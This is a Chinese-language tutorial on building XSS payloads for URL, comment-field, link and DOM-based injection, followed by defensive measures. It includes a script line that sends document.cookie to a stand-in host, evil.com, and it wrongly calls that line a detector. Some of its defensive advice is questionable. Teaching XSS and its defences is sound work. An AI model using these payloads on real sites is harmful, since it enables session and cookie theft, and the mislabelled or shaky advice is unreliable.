一、构造payload
构造payload是XSS攻击最基本的步骤。通常情况下，XSS攻击会通过HTML或者JavaScript注入可执行代码，因此攻击者需要构造出一个有效的payload，使它能够执行在受害者的浏览器环境中。
在构造payload时，攻击者通常针对不同的输入框和网站采取不同的策略。比如，注入脚本到搜索框中或者提交评论的文本域中。攻击者通常会添加HTML或者JavaScript标签，或者使用JavaScript的事件处理函数来实现攻击。以下是一个常见的payload示例：
<img src="null" onerror="alert('Hi, I am a hacker!')">
这个payload能够在页面加载时自动执行，并且会弹出一个窗口显示“Hi, I am a hacker!”。
二、如何构造XSS payload
针对不同的注入点，攻击者需要使用不同的技巧来构造payload。以下是一些针对常见注入点的payload示例：
1.注入到URL中
<script>alert(document.cookie)</script>
攻击者可以在URL中添加JS脚本来攻击受害者。当受害者点击恶意链接时，该脚本将执行，并可以访问到用户的cookie信息。
2.注入到文本域中
<img src="null" onerror="alert('I am everywhere!')">
攻击者可以将XSS payload注入到网站的留言板、评论区等文本域中。当其他用户查看这个页面时，payload将会在他们的浏览器中执行，从而达到攻击的目的。
3. 恶意链接
<a href="javascript:alert(document.cookie)">Click Me! </a>
攻击者可以构造一个恶意链接，将JS脚本作为链接的目标URL。当受害者点击该链接时，JS脚本将被执行。
4. XSS探测器
<script>new Image().src="http://evil.com/steal.php?cookie="+document.cookie;</script>
攻击者可以利用XSS探测器扫描指定网站是否容易被XSS攻击利用。这种攻击方式可以将目标网站的cookie信息发送到攻击者的服务器上，以此验证是否存在XSS漏洞。
5. DOM-based XSS
<script>document.write("<h1&g
t;"+document.location.hash.substr(1)+"</h1>");</script>
DOM-based XSS漏洞是一种不通过服务器，直接在用户浏览器中利用的XSS攻击。攻击者在页面中注入恶意代码，该代码从URL的Hash中获取参数，再将其使用document.write添加到HTML中，从而传递恶意信息。
三、XSS三种payload写入方式
1. 使用innerHTML
document.getElementById("someElement").innerHTML = payload;
攻击者可以使用innerHTML将payload插入到页面中，从而利用XSS攻击。但使用innerHTML会覆盖掉整个元素，因此可能会导致页面出现问题。
2. 使用document.write
document.write(payload);
使用document.write将payload写入到页面中。但这种方式只能将内容添加到最后，无法插入到指定位置。
3. 使用setAttribute
document.getElementById('someElement').setAttribute('attributeName', payload);
使用setAttribute方法，将payload添加到指定的HTML元素中。但这种方式有一定的限制，只能通过设置属性名来插入数据，而不能添加HTML代码。
四、防范XSS攻击
为了防范XSS攻击，我们需要采取一些措施来确保输入的数据是安全的：
1. 编码输入数据
将输入数据进行编码，防止它被当做代码执行，可以使用HTML实体编码进行处理，对于引号，可以使用单引号代替双引号。
2. 过滤特殊字符
过滤掉一些特殊字符，比如<,>,/,&等，可以避免恶意代码被注入到页面中。可以使用许多开源的XSS过滤器工具，或者自己编写一个自定义的过滤器。
3. 使用CSP
使用Content Security Policy（CSP）可以通过设置HTTP头部指示浏览器只信任特定来源的内容，从而防止恶意注入攻击。
4. 不信任用户的输入
在编写前端代码时，不要信任用户的输入，始终采用高度谨慎的态度。对于必须进行处理的数据，需要进行严格的格式检查，并使用服务器端脚本进行验证。
